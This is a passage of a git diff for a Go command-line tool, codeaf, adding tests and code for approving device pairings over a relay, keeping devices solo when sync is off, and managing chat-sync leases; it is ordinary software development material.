computer in the background. +func (r *pairRig) asking(t *testing.T) (*pairScreenText, chan error) { + t.Helper() + out := &pairScreenText{} + done := make(chan error, 1) + go func() { done <- r.door(r.homeB, strings.NewReader(""), out).run(context.Background(), nil) }() + return out, done +} + +// approveWith runs `codeaf pair approve ` on the first computer, with the +// person typing answer. +func (r *pairRig) approveWith(t *testing.T, args []string, answer string) (*pairScreenText, error) { + t.Helper() + out := &pairScreenText{} + return out, r.door(r.homeA, strings.NewReader(answer), out).run(context.Background(), args) +} + +// The headless path end to end: the new computer prints a link and a typed form, +// the first one is shown who asks and the check number and types a, and the new +// one says it is paired. +func TestPairByLinkEndToEnd(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + typed := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + check := screen.waitFor(t, `Check number: (\d{4})`)[1] + if !strings.Contains(link, typed[:8]) { + t.Fatalf("the link %s and the typed form %s name different requests", link, typed) + } + + out, err := rig.approveWith(t, []string{"approve", typed}, "a\n") + if err != nil { + t.Fatal(err) + } + // The asking computer names its own operating system, so on a Mac it says Mac. + want := pair.WantsToJoinLine("laptop", runtime.GOOS) + "\n" + pair.CheckQuestion(check) + " a / d " + if !strings.HasPrefix(out.String(), want) || !strings.Contains(out.String(), pair.ApprovedLine("laptop")) { + t.Fatalf("the approving terminal printed:\n%s\nwant it to start:\n%s", out.String(), want) + } + if err := <-done; err != nil { + t.Fatal(err) + } + screen.waitFor(t, `Paired\.`) + first, _ := identity.Load(rig.homeA) + second, err := identity.Load(rig.homeB) + if err != nil || second.ID() != first.ID() { + t.Fatalf("the new computer holds %v (%v), want the first one's identity", second.ID(), err) + } +} + +// A link pairing puts the APPROVER on the directory too, not only the joiner: +// the joiner's devices list shows the computer that approved it, and the +// approver is on its own list as well. `pair approve` used to write only the +// joiner's record, so the approving machine's `codeaf devices` stayed empty +// until its next chat start. +func TestDevicesAfterALinkPairingShowTheApprover(t *testing.T) { + rig := newPairRig(t) + t.Setenv("CODEAF_SYNC_URL", rig.url) + if _, err := devname.Set(rig.homeA, "desk"); err != nil { + t.Fatal(err) + } + if _, err := devname.Set(rig.homeB, "laptop"); err != nil { + t.Fatal(err) + } + + screen, done := rig.asking(t) + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + out, err := rig.approveWith(t, []string{link}, "a\n") + if err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + if !strings.Contains(out.String(), pair.ApprovedLine("laptop")) { + t.Fatalf("the approving terminal printed:\n%s", out.String()) + } + + // The joiner's list shows the approver, not itself alone; the approver's + // list shows both, and names the joiner it let in. + for _, side := range []struct{ home, want, label string }{ + {rig.homeB, "desk", "the computer that joined"}, + {rig.homeA, "laptop", "the computer that approved"}, + } { + t.Setenv("CODEAF_HOME", side.home) + chats, ok := openChatsKind() + if !ok { + t.Fatalf("%s has no chats kind", side.label) + } + rows, err := chats.rows() + if err != nil { + t.Fatal(err) + } + names := make([]string, 0, len(rows)) + for _, row := range rows { + names = append(names, row.Name) + } + if len(rows) < 2 || !slices.Contains(names, side.want) { + t.Fatalf("%s's devices list holds %v, want the computer it paired with on it", side.label, names) + } + } +} + +// A link pasted without the word approve means the same, because its shape says so. +func TestPairLinkShapeApproves(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, regexp.QuoteMeta(rig.url)+`/p/\S+#\S+`)[0] + if _, err := rig.approveWith(t, []string{link}, "a\n"); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } +} + +// Anything but a turns the new computer down, and it is told so. +func TestPairApproveNoDeclines(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + typed := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + out, err := rig.approveWith(t, []string{"approve", typed}, "\n") + if err != nil || !strings.Contains(out.String(), pair.DeclinedLine) { + t.Fatalf("a no ended with %v and printed %q", err, out.String()) + } + if err := <-done; !errors.Is(err, pair.ErrLinkDeclined) { + t.Fatalf("the new computer ended with %v, want the declined sentence", err) + } +} + +// A computer with no identity of its own has no say, and a typo is refused +// before any request is made. +// TestPairApproveRefusals proves C1: an identity must exist before approval. +func TestPairApproveRefusals(t *testing.T) { + celltest.Available(t) + rig := newPairRig(t) + out := &pairScreenText{} + err := rig.door(rig.homeB, strings.NewReader("a\n"), out).run(context.Background(), []string{"approve", "k7m2q9xd.AAAAAAAAAAAAAAAAAAAAAA"}) + if !errors.Is(err, pair.ErrNotJoined) || !strings.Contains(err.Error(), "start codeaf here once") { + t.Fatalf("an unpaired computer approving ended with %v", err) + } + err = rig.door(rig.homeA, strings.NewReader(""), out).run(context.Background(), []string{"approve", "nope"}) + if !errors.Is(err, pair.ErrLinkShape) { + t.Fatalf("a typo ended with %v", err) + } +} + +// `codeaf pair approve` with nothing after it is a usage error that names the +// link, not a complaint about the shape of a six-digit code. +func TestPairApproveWithoutALinkSaysUsage(t *testing.T) { + celltest.Available(t) + rig := newPairRig(t) + errs := &bytes.Buffer{} + previous := usageErr + usageErr = errs + defer func() { usageErr = previous }() + err := rig.door(rig.homeA, strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"approve"}) + if err != exitStatus(2) || !strings.Contains(errs.String(), "usage: codeaf pair approve ") || strings.Contains(errs.String(), "42-715-302") { + t.Fatalf("a bare approve ended with %v and said %q, want its own usage line and exit 2", err, errs.String()) + } +} + +// ctrl+c while the link waits ends the pairing and says that nothing was paired, +// so a person is not left looking at a silent prompt. +func TestPairCancelSaysNothingWasPaired(t *testing.T) { + rig := newPairRig(t) + out := &pairScreenText{} + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- rig.door(rig.homeB, strings.NewReader(""), out).run(ctx, nil) }() + out.waitFor(t, `ctrl\+c to cancel`) + cancel() + if err := <-done; err != nil { + t.Fatalf("cancelling ended with %v, want a clean exit", err) + } + if !strings.Contains(out.String(), pair.CancelledLine) { + t.Fatalf("cancelling printed %q, want %q", out.String(), pair.CancelledLine) + } +} diff --git a/cmd/codeaf/pairroute.go b/cmd/codeaf/pairroute.go new file mode 100644 index 0000000000..d03cbb41b4 --- /dev/null +++ b/cmd/codeaf/pairroute.go @@ -0,0 +1,88 @@ +package main + +// The three things every pairing door needs before it can say a word: which +// relay to go through, the identity to hand over, and where to keep a relay the +// other device named. The chat's `/pair` and the terminal's `codeaf pair` both +// take them from here, so the two doors cannot disagree about where a code goes. + +import ( + "net/http" + "net/url" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// pairPollTimeout outlasts one held poll (pairbox.MaxWait) so the relay ends the +// wait and this client never cuts a healthy one short. +const pairPollTimeout = pairbox.MaxWait + 10*time.Second + +// pairMailbox is the relay a pairing runs through: the --relay flag, else the +// relay this computer syncs through. A relay named by flag is the one the other +// device is told to pass, so it is `Shown`; the default needs no telling. +func pairMailbox(relayFlag string) (pair.Mailbox, error) { + if syncsetup.Resolve(home.Dir()).Off { + return pair.Mailbox{}, pair.ErrSyncOff + } + flag := strings.TrimSpace(relayFlag) + base := flag + if flag == "" { + relay := syncsetup.Resolve(home.Dir()) + if relay.Off { + return pair.Mailbox{}, pair.ErrSyncOff + } + base = relay.URL + } + if base == "" { + return pair.Mailbox{}, pair.ErrNoSync + } + u, err := url.Parse(base) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" { + return pair.Mailbox{}, pair.ErrNoSync + } + return pair.Mailbox{ + Box: pairbox.NewHTTP(base, &http.Client{Timeout: pairPollTimeout}), + URL: base, + Host: u.Host, + Shown: flag, + }, nil +} + +// pairGrant is what this computer hands to the device it pairs: the identity it +// has, made on first use, and the relay the pairing went through, so the other +// device syncs through the same one. The hosted default is left out: the other +// device reaches it by default, and a saved copy would pin it to an address the +// hosted relay may one day leave. +// It also names the identities this one replaced by rotation, so a computer +// still on one of them may follow instead of being refused. +func pairGrant(route pair.Mailbox) (pair.Grant, error) { + id, err := identity.Ensure(home.Dir()) + if err != nil { + return pair.Grant{}, err + } + if err := identity.EndSolo(home.Dir()); err != nil { // offering the identity is starting a fleet + return pair.Grant{}, err + } + return pair.Grant{Identity: id, SyncURL: syncsetup.Named(route.URL), Replaces: identity.Predecessors(home.Dir())}, nil +} + +// pairJoining is this computer as the device that types the code. +func pairJoining(replace bool) pair.Joining { return pairJoiningAt(home.Dir())(replace) } + +// pairJoiningAt is the same for the codeaf home at dir. +func pairJoiningAt(dir string) func(replace bool) pair.Joining { + return func(replace bool) pair.Joining { + return pair.Joining{ + Home: dir, + Label: devname.Name(dir), + Replace: replace, + SaveSyncURL: func(url string) error { return syncsetup.SaveRelayURL(dir, url) }, + } + } +} diff --git a/cmd/codeaf/polishrows_test.go b/cmd/codeaf/polishrows_test.go index 1b7fea94d2..549e0f5279 100644 --- a/cmd/codeaf/polishrows_test.go +++ b/cmd/codeaf/polishrows_test.go @@ -207,9 +207,9 @@ func TestDevicesRevokeReadsAllInEitherPositionAndSaysSoInTheUsage(t *testing.T) t.Fatal(err) } if len(left) != 0 { - t.Fatalf("%d devices are still admitted after --all stopped them: %v\nsaid: %s", len(left), left, printed) + t.Fatalf("%d devices are still admitted after --all removed them: %v\nsaid: %s", len(left), left, printed) } - if !strings.Contains(printed, "stopped") { + if !strings.Contains(printed, "removed") { t.Fatalf("nothing said what happened:\n%s", printed) } }) diff --git a/cmd/codeaf/privacy_test.go b/cmd/codeaf/privacy_test.go new file mode 100644 index 0000000000..e5a4a4b669 --- /dev/null +++ b/cmd/codeaf/privacy_test.go @@ -0,0 +1,95 @@ +package main + +import ( + "context" + "net/http" + "net/http/httptest" + "path/filepath" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// TestC8DeviceListsOnASoloHomeSendNothing proves C8 for both CLI and slash +// command doors; reading either device list must not start a fleet. +func TestC8DeviceListsOnASoloHomeSendNothing(t *testing.T) { + celltest.Available(t) + var hits atomic.Int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + hits.Add(1) + http.Error(w, "unexpected request", http.StatusInternalServerError) + })) + defer srv.Close() + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv(syncsetup.URLVar, srv.URL) + if _, ok, err := syncsetup.OpenFirst(home.Dir()); !ok || err != nil { + t.Fatalf("first launch: %v, %v", ok, err) + } + if err := runDevices(nil); err != nil { + t.Fatal(err) + } + if rows, err := newApprovalsDoor(home.Dir()).Devices(context.Background()); err != nil || len(rows) != 0 { + t.Fatalf("slash device list: %v, %v", rows, err) + } + if hits.Load() != 0 || !syncsetup.Quiet(home.Dir()) { + t.Fatalf("reading devices sent %d requests or ended solo", hits.Load()) + } +} + +// TestC8IdentityShowAndExportStaySolo proves C8 for identities made outside the +// home screen: inspecting or exporting a local identity does not offer pairing. +func TestC8IdentityShowAndExportStaySolo(t *testing.T) { + for _, verb := range []string{"show", "export"} { + t.Run(verb, func(t *testing.T) { + d, _ := door(t, t.TempDir(), "fixture passphrase") + args := []string{verb} + if verb == "export" { + args = append(args, filepath.Join(t.TempDir(), "identity.blob")) + } + if err := runIdentityAt(args, d); err != nil { + t.Fatal(err) + } + if !identity.Solo(d.home) || syncsetup.MayTalk(d.home) { + t.Fatal("a local identity operation enabled relay traffic") + } + }) + } +} + +// TestC8FailedApprovalAndDeclineStaySolo proves C8: an attempted approval that +// fails before completion, and a subsequent decline, do not enable chat sync. +func TestC8FailedApprovalAndDeclineStaySolo(t *testing.T) { + rig := newPairRig(t) + rig.homeA = t.TempDir() + if _, err := identity.EnsureSolo(rig.homeA); err != nil { + t.Fatal(err) + } + screen, done := rig.asking(t) + link := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + door := rig.approvalsAt(rig.homeA) + pending, err := door.Pending(context.Background(), link) + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + if err := door.Approve(ctx, pending); err == nil { + t.Fatal("a cancelled approval succeeded") + } + if !identity.Solo(rig.homeA) { + t.Fatal("a failed approval enabled chat sync") + } + if err := door.Deny(context.Background(), pending); err != nil { + t.Fatal(err) + } + if err := <-done; err == nil { + t.Fatal("the declined computer joined") + } + if !identity.Solo(rig.homeA) { + t.Fatal("declining a device enabled chat sync") + } +} diff --git a/cmd/codeaf/run.go b/cmd/codeaf/run.go index d3ca63dfba..7fc892771a 100644 --- a/cmd/codeaf/run.go +++ b/cmd/codeaf/run.go @@ -198,7 +198,7 @@ func runGraph(name string, args []string) error { // The ruler stays keyed to the work model even when a different model // plans: the anchors measure the executor. installMeasuredRulers(settings, settings.Model) - ctx := settings.Context(context.Background(), graph.Goal) + ctx := settings.Context(hostSeated(context.Background()), graph.Goal) // Discovery started before the clients are built, because an adapter reads // the catalog to decide which knobs a model will accept. It is started, not // waited for: every question it answers here is asked later than the first diff --git a/cmd/codeaf/sealseam_test.go b/cmd/codeaf/sealseam_test.go new file mode 100644 index 0000000000..34d79153b5 --- /dev/null +++ b/cmd/codeaf/sealseam_test.go @@ -0,0 +1,26 @@ +package main + +import "testing" + +type sealingStub struct{ failing bool } + +func (s sealingStub) SealFailing() bool { return s.failing } + +// ON THE ORDINARY LAUNCH there is no local seal watch: the agent is a handle on +// an engine in another process, and the segment must read what that agent says. +func TestTheSealSegmentReadsTheAgentWhenThereIsNoLocalWatch(t *testing.T) { + seam := sealSeamOf(sealingStub{failing: true}, nil) + if seam.Failing == nil || !seam.Failing() { + t.Fatal("a failing far seal did not reach the surface") + } + if seam.Notice != nil { + t.Fatal("a seam with no local watch has nothing to drain") + } +} + +// Unknown is not a failure: an agent that cannot say, and no watch, draw nothing. +func TestNoAgentStateAndNoWatchDrawsNothing(t *testing.T) { + if seam := sealSeamOf(struct{}{}, nil); seam.Failing != nil || seam.Notice != nil { + t.Fatal("a seam appeared from nothing") + } +} diff --git a/cmd/codeaf/subharness_run.go b/cmd/codeaf/subharness_run.go index e614b9eac6..5802e06fa6 100644 --- a/cmd/codeaf/subharness_run.go +++ b/cmd/codeaf/subharness_run.go @@ -207,7 +207,7 @@ func runSubharnessCommand(args []string) error { // The run's own reasoning economy, layered the way every executing surface // layers it: the planning level is wrong for work, and a model with reasoning // suppressed stops writing anything down. - ctx := settings.ExecContext(settings.Context(context.Background(), name)) + ctx := settings.ExecContext(settings.Context(hostSeated(context.Background()), name)) return runSubharness(ctx, subharnessRun{ registry: registry, name: name, input: material, journal: journal, stdout: os.Stdout, stderr: os.Stderr, diff --git a/cmd/codeaf/sync_off_test.go b/cmd/codeaf/sync_off_test.go new file mode 100644 index 0000000000..8caf86777f --- /dev/null +++ b/cmd/codeaf/sync_off_test.go @@ -0,0 +1,38 @@ +package main + +import ( + "errors" + "net/http" + "net/http/httptest" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// TestC10SyncOffCannotBeBypassedByPairVia proves C10 at the pairing route door, +// even for a home whose identity was already shared. +func TestC10SyncOffCannotBeBypassedByPairVia(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + if _, err := identity.EnsureSolo(home.Dir()); err != nil { + t.Fatal(err) + } + if err := identity.EndSolo(home.Dir()); err != nil { + t.Fatal(err) + } + t.Setenv(syncsetup.URLVar, "off") + var hits atomic.Int64 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { hits.Add(1) })) + defer srv.Close() + for _, via := range []string{"", srv.URL} { + if _, err := pairMailbox(via); !errors.Is(err, pair.ErrSyncOff) { + t.Fatalf("pair via %q with sync off: %v", via, err) + } + } + if hits.Load() != 0 { + t.Fatalf("off pairing made %d requests", hits.Load()) + } +} diff --git a/cmd/codeaf/syncdrive.go b/cmd/codeaf/syncdrive.go new file mode 100644 index 0000000000..95e4c944ad --- /dev/null +++ b/cmd/codeaf/syncdrive.go @@ -0,0 +1,163 @@ +package main + +import ( + "context" + "errors" + "log" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// driveCloseWithin bounds the quit path's last publish and lease release, so a +// silent relay cannot hold the terminal. +const driveCloseWithin = 10 * time.Second + +// syncDrives is the drive side of every conversation the chat door opened in +// this process. It exists at all only for a chat: a headless run never syncs. +var syncDrives = &driveBook{} + +// driveBook keeps one drive side per cell, so a conversation opened again in the +// same process (a resume, a switch back) goes on with the drive it had instead +// of taking a second lease. +type driveBook struct { + mu sync.Mutex + drive map[string]*liveDrive +} + +// driveOf is the drive side of c, made on first use. It answers nil, and the +// chat runs exactly as it did before sync existed, when sync is off, or when it +// cannot start: a relay setting must never stop a conversation from opening. +// A computer with no identity yet gets a drive side that starts by itself the +// moment one is made (see liveDrive). A nil book answers nil, which is how a +// door that never syncs asks. +func (b *driveBook) driveOf(c cell.Cell, engine cellstore.Engine, report func(error)) *liveDrive { + if b == nil { + return nil + } + if syncsetup.Resolve(home.Dir()).Off || !cell.Available() { + return nil + } + b.mu.Lock() + defer b.mu.Unlock() + if d := b.drive[c.ID]; d != nil && !d.superseded() { + return d + } + // A drive side that no longer holds the chat's lease (another machine took it, or it was moved + // back here) never drives again: the chat opened here needs a drive side of its own, or every + // tool call in it would be refused as superseded. + delete(b.drive, c.ID) + d := newLiveDrive(func() (*syncsetup.Drive, error) { return startDrive(c, engine, report) }) + if d != nil { + if b.drive == nil { + b.drive = map[string]*liveDrive{} + } + b.drive[c.ID] = d + } + return d +} + +// startDrive opens the drive side of c. The error it answers is already +// reported; it is returned so a caller can tell a computer that has no identity +// yet (which /pair will change) from one that cannot sync at all. +func startDrive(c cell.Cell, engine cellstore.Engine, report func(error)) (*syncsetup.Drive, error) { + s, ok, err := syncsetup.Open(home.Dir()) + if errors.Is(err, syncsetup.ErrNoIdentity) { + // Waiting for an identity is not a seal failing: the live drive starts by itself once one + // is made, and until then nothing is owed to the relay. With the hosted default every + // fresh computer is in this state, so reporting it would mark every first launch as + // failing to seal. + return nil, err + } + if err != nil || !ok { + report(err) + return nil, err + } + if syncsetup.Quiet(home.Dir()) { + return nil, syncsetup.ErrQuiet // a fleet of one has nothing to sync with yet + } + if line, first := s.FirstRun(); first { + surfaceNotices.Say(line) + } + d, err := s.Drive(context.Background(), engine, c, syncsetup.DriveOptions{ + DeviceName: deviceName(), + // The title the chat has now, sealed on its way out: the other machine's + // list names the chat by it. + Title: func() string { return chatTitle(c) }, + // A line is said by the surface the moment it happens (tui3/notices.go). + OnNotice: surfaceNotices.Say, + }) + if sayRefusal(err) { + return nil, err + } + report(err) + return d, err +} + +// sayRefusal tells the person what the relay refused when it refused this +// device outright (removed from the fleet, replaced, over its limit) and +// answers true, so the chat runs unsynced with the reason on screen instead +// of opening as if nothing were wrong. Any other failure is not its business. +func sayRefusal(err error) bool { return sayRefusalTo(surfaceNotices.SayHomeOnce, err) } + +func sayRefusalTo(say func(string), err error) bool { + r, ok := cellsync.RefusalOf(err) + if ok { + say(r.Say(err)) + } + return ok +} + +// chatTitle is the chat's title as its session record has it now: the name it +// earned, or the person's opening words until it has one. +func chatTitle(c cell.Cell) string { + m, _ := session.LoadMeta(c.Root) + return m.Title +} + +// closeAll ends every drive side: what is sealed is published and each lease is +// given back, so another machine can take the chat at once. It runs on the +// door's way out, after the conversations closed, so their last seal is in. +func (b *driveBook) closeAll() { + drives := b.take() + ctx, cancel := context.WithTimeout(context.Background(), driveCloseWithin) + defer cancel() + for _, d := range drives { + if err := d.Close(ctx); err != nil { + log.Print("sync: closing a chat: ", err) + } + } +} + +// take hands over every drive side and forgets them. +func (b *driveBook) take() map[string]*liveDrive { + b.mu.Lock() + defer b.mu.Unlock() + drives := b.drive + b.drive = nil + return drives +} + +// driveGate is what a tool call meets before it runs: the superseded line once +// another machine has taken the chat, and nothing while this one drives it. +func driveGate(d *liveDrive) func() error { + if d == nil { + return nil + } + return d.Gate +} + +// driveStore is how the seat's seals reach the drive side; nil seals on the +// engine itself. +func driveStore(d *liveDrive) func(cellstore.Engine) cellstore.Store { + if d == nil { + return nil + } + return d.Store +} diff --git a/cmd/codeaf/syncdrive_live.go b/cmd/codeaf/syncdrive_live.go new file mode 100644 index 0000000000..f973225657 --- /dev/null +++ b/cmd/codeaf/syncdrive_live.go @@ -0,0 +1,208 @@ +package main + +import ( + "context" + "errors" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// liveDrive is the drive side of one chat, started when it can be. A chat opens +// before its computer is paired, and /pair inside the chat then makes the +// identity that sync needs; a drive side fixed at open would leave that chat +// unsynced until the next restart. So the chat's seat holds a liveDrive, which +// asks again at each seal, gate and idle for as long as the one thing missing +// is the identity, and goes on with the real drive from the call that finds it. +type liveDrive struct { + start func() (*syncsetup.Drive, error) + + mu sync.Mutex + drive *syncsetup.Drive + waiting bool // sync is on and only an identity, or the end of solo, is missing + ready chan struct{} + attempted bool + closed bool +} + +// newLiveDrive starts the drive side behind the first paint. Local startup +// seals do not wait for the relay; new tool work waits for its ownership check. +func newLiveDrive(start func() (*syncsetup.Drive, error)) *liveDrive { + l := &liveDrive{start: start} + l.try() + return l +} + +// try starts the drive side if it is not running and an identity is there now. +// The identity is one file read and the relay is asked only once it exists, so a +// chat that never pairs costs nothing per call. +func (l *liveDrive) try() { + l.mu.Lock() + defer l.mu.Unlock() + if l.closed || l.drive != nil || l.ready != nil || (l.attempted && !l.waiting) || (l.waiting && !syncsetup.MayTalk(home.Dir())) { + return + } + l.ready = make(chan struct{}) + ready := l.ready + guard.Go("chat sync startup", func() { + var d *syncsetup.Drive + var err error + // A startup fault must release waiting tools as well as spare the + // surface. Installing the result is owed even when start panics. + defer func() { + if closed := l.install(d, err, ready); closed && d != nil { + ctx, cancel := context.WithTimeout(context.Background(), driveCloseWithin) + defer cancel() + _ = d.Close(ctx) + } + }() + d, err = l.start() + }) +} + +// install joins the startup seals under the same lock lateStore seals through, +// so a turn cannot fall between catch-up and installing the drive. +func (l *liveDrive) install(d *syncsetup.Drive, err error, ready chan struct{}) bool { + l.mu.Lock() + defer l.mu.Unlock() + defer close(ready) + l.ready = nil + l.drive, l.waiting, l.attempted = d, errors.Is(err, syncsetup.ErrNoIdentity) || errors.Is(err, syncsetup.ErrQuiet), true + if d != nil { + d.CatchUp() + } + return l.closed +} + +// pending reads the startup boundary without holding the mutex while waiting +// for its network work to finish. +func (l *liveDrive) pending() <-chan struct{} { + l.mu.Lock() + defer l.mu.Unlock() + return l.ready +} + +// current is the running drive side, or nil while there is none. +func (l *liveDrive) current() *syncsetup.Drive { + l.try() + l.mu.Lock() + defer l.mu.Unlock() + return l.drive +} + +// Gate is the drive side's gate: nothing is refused until a drive side exists. +func (l *liveDrive) Gate() error { + for { + l.try() + ready := l.pending() + if ready == nil { + break + } + <-ready + } + if d := l.started(); d != nil { + ctx, cancel := context.WithTimeout(context.Background(), cellstore.SealWithin+holdsLeaseWithin) + defer cancel() + if err := d.CheckLease(ctx); err != nil { + return err + } + return d.Gate() + } + return nil +} + +// Idle uploads what is sealed, once a drive side exists. +func (l *liveDrive) Idle() { + if d := l.current(); d != nil { + d.Idle() + } +} + +// Store is the store a seal goes through: the engine itself until a drive side +// exists, then the drive side's. A turn sealed before it started is noted by the +// drive side's own catch-up, so nothing sealed in between is left behind. +func (l *liveDrive) Store(e cellstore.Engine) cellstore.Store { + return lateStore{live: l, engine: e} +} + +// Close ends the drive side if one ever started. +func (l *liveDrive) Close(ctx context.Context) error { + ready := func() <-chan struct{} { + l.mu.Lock() + defer l.mu.Unlock() + l.closed = true + return l.ready + }() + if ready != nil { + select { + case <-ready: + case <-ctx.Done(): + return ctx.Err() + } + } + if d := l.started(); d != nil { + return d.Close(ctx) + } + return nil +} + +// holdsLeaseWithin bounds the look at the directory that a chat opened again makes. +const holdsLeaseWithin = 5 * time.Second + +// superseded says a drive side was running and the chat has since been taken from it, by +// another machine or by a move back to this one, so that it no longer holds the lease it +// publishes under. A drive side that still waits for an identity, or that drives, is not. +func (l *liveDrive) superseded() bool { + d := l.started() + if d == nil { + return false + } + ctx, cancel := context.WithTimeout(context.Background(), holdsLeaseWithin) + defer cancel() + return !d.HoldsLease(ctx) +} + +// started is the drive side if one ever started, without trying to start it. +func (l *liveDrive) started() *syncsetup.Drive { + l.mu.Lock() + defer l.mu.Unlock() + return l.drive +} + +// lateStore seals on whichever store the chat has now. +type lateStore struct { + live *liveDrive + engine cellstore.Engine +} + +var _ cellstore.Store = lateStore{} + +// Seal implements cellstore.Store. +func (s lateStore) Seal(ctx context.Context, c cell.Cell, info cellstore.TurnInfo) (cellstore.Sealed, error) { + s.live.try() + used := s.live.started() + var store cellstore.Store = s.engine + if used != nil { + store = used.Store(s.engine) + } + sealed, err := store.Seal(ctx, c, info) + if err == nil { + s.live.catchUpAfter(used) + } + return sealed, err +} + +// catchUpAfter joins a seal made while the drive was being installed. The +// mutex covers only the catch-up decision, never the engine's disk work. +func (l *liveDrive) catchUpAfter(used *syncsetup.Drive) { + l.mu.Lock() + defer l.mu.Unlock() + if l.drive != nil && l.drive != used { + l.drive.CatchUp() + } +} diff --git a/cmd/codeaf/syncdrive_test.go b/cmd/codeaf/syncdrive_test.go new file mode 100644 index 0000000000..177686f3f8 --- /dev/null +++ b/cmd/codeaf/syncdrive_test.go @@ -0,0 +1,419 @@ +package main + +import ( + "context" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/handoff" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/relayserve" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// doorChat is a chat cell opened through the door's own seat construction, in a +// home of its own. +func doorChat(t *testing.T) (session.Config, cell.Cell) { + t.Helper() + celltest.RequireEngine(t) + if _, err := furrow.ResolveOwned(); err != nil { + t.Skipf("no engine binary: %v", err) + } + // The engine daemon has no sync verbs until its own lane lands, so the + // door's sync runs over the spawn transport, which has them. + t.Setenv("CODEAF_ENGINE_DAEMON", "0") + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv("HOME", t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + prior := syncDrives + syncDrives = &driveBook{} + t.Cleanup(func() { syncDrives.closeAll(); syncDrives = prior }) + return session.Config{Place: session.Place{Dir: c.Root, Workspace: t.TempDir()}}, c +} + +// toolCallOn completes the call and its D4 capture boundary before callers +// inspect the sealed turn or release the fixture's files. +func toolCallOn(t *testing.T, seat executor.Seat, workspace string) error { + t.Helper() + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"echo"}`)} + if err := seat.Around(context.Background(), call, func() ([]byte, bool) { + return nil, os.WriteFile(filepath.Join(workspace, "f.txt"), []byte("x"), 0o600) != nil + }); err != nil { + return err + } + return executor.Drain(context.Background(), seat) +} + +// With no relay set the door is Stage 0 exactly: no drive side is made, the seat +// is not gated, and a turn is sealed by the zero device under fence 0. +func TestDriveSideOffIsStageZero(t *testing.T) { + cfg, c := doorChat(t) + t.Setenv(syncsetup.URLVar, "off") + seated := v3Seated(cfg) + if len(syncDrives.drive) != 0 { + t.Fatal("a drive side was made with sync off") + } + if seated.Seat == nil { + t.Fatal("no seat") + } + if err := toolCallOn(t, seated.Seat, cfg.Place.Workspace); err != nil { + t.Fatal(err) + } + turns, err := cellstore.Turns(c) + if err != nil || len(turns) == 0 { + t.Fatalf("turns = %v, %v", turns, err) + } + if got := turns[len(turns)-1]; got.Fence != 0 || got.Device != "0000000000000000000000000000000000000000000000000000000000000000" { + t.Fatalf("a Stage 0 turn carries %q fence %d", got.Device, got.Fence) + } +} + +// With a relay set the door notes every sealed turn for it, and closing the +// door gives the lease back after publishing what was sealed. +func TestDriveSideDoorPublishesAndReleases(t *testing.T) { + cfg, c := doorChat(t) + srv := httptest.NewServer(relayserve.New(relayserve.Config{Store: t.TempDir()}).Handler) + t.Cleanup(srv.Close) + if _, err := identity.Ensure(home.Dir()); err != nil { + t.Fatal(err) + } + t.Setenv(syncsetup.URLVar, srv.URL) + t.Setenv(syncsetup.IntervalVar, "50") + + seated := v3Seated(cfg) + if err := 